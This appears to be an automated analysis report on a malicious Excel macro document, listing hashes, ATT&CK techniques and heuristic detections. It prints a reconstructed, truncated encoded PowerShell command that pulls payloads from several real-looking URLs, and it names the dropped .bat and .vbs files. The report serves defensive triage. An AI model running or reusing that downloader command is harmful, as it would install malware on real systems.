Office (OLE) / .XLSX malware analysis — malicious · e69f27a33a8022ef

MALICIOUS

Office (OLE) / .XLSX

145.5 KB Created: 2015-06-05 18:17:20 Authoring application: Microsoft Excel

MD5: 794537e38a00e629810b712a7d36a8e7 SHA-1: 1342a7b9b6e26a0b0255f5ab8caef15fe2f4544c SHA-256: e69f27a33a8022ef1900535cc60fe8ec4ca02ba967bf913474a5b9d6010b3104

280 Risk Score

Malware Insights

MITRE ATT&CK

T1059.001 PowerShell T1059.003 Windows Command Shell T1059.005 Visual Basic

The file contains VBA macros, specifically a Workbook_Open event, which is a common technique for initial execution. The script utilizes `CreateObject` to interact with `Wscript.Shell` and `Scripting.FileSystemObject`, indicating an intent to download and execute further payloads. The reconstructed command line `hell -e JABqAGUAbwBsAGkAcwBlADMAUgBoAGcARABaAFMANABjAGQAZgBnAD0AIgBoAHQAdABwADoALwAvAHIAZQB1AG0AYQB0AGkAcwBtAGMAbABpAG4AaQBjAC4AYwBvAG0ALwAtAC8AcwBjAEMAbgBtADMAbQBiAEoAUgBwAHMAYQBCAEsAQgBiAHIAQwAvACwAaAB0AHQAcABzADoALwAvAHMAaABvAGQAaABtAGEAbgBqAGEAcgBpAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwB4AGoARQBtAEsANABQAGQAMwBOAC8ALABoAHQAdABwADoALwAvAHQAdQBiAGUAbABvAGMAYQBsAC4AbgBlAHQALwB3AHAALQBhAGQAbQBpAG4ALwBYADQAWABtADQATQBrAC8ALABoAHQAdABwAHMAOgAvAC8AcABhAGMAaQBmAGkAYwBoAG8AbQBlAGIAcgBvAGsAZQByAC4AYwBvAG0ALwByAG8AZABlAHIAaQBjAGsALwBSAFIAawAvACwAaAB0AHQAcABzADoALwAvAG0AbwBsAGkAbgBhAGkALQBqAG8AdQByAG4AYQBsAC4A` suggests the execution of a base64 encoded payload from multiple URLs. The presence of `c:\programdata\jledshf.bat` and `c:\programdata\sduoixo.vbs` further supports the download and execution of malicious scripts.

Heuristics 7

ClamAV: Doc.Malware.Valyria-10004384-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Malware.Valyria-10004384-0
Reference to Windows Script Host high SC_STR_WSCRIPT

Reference to Windows Script Host
Workbook_Open macro high OLE_VBA_WBOPEN

Workbook_Open macro
CreateObject call high OLE_VBA_CREATEOBJ

CreateObject call
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
VBA macros detected medium OLE_VBA_MACROS

Document contains VBA macro code

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas` `527d0656a0c2c323955d068683ef8f7e20c035cda247a1e24383595c0eb3403b`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	7821 bytes
Detection ClamAV: No threats found Obfuscation or payload: likely Carved macro source contains an auto-exec entry point and execution/download terms.

Open this report in the interactive analyzer, or submit your own file for analysis.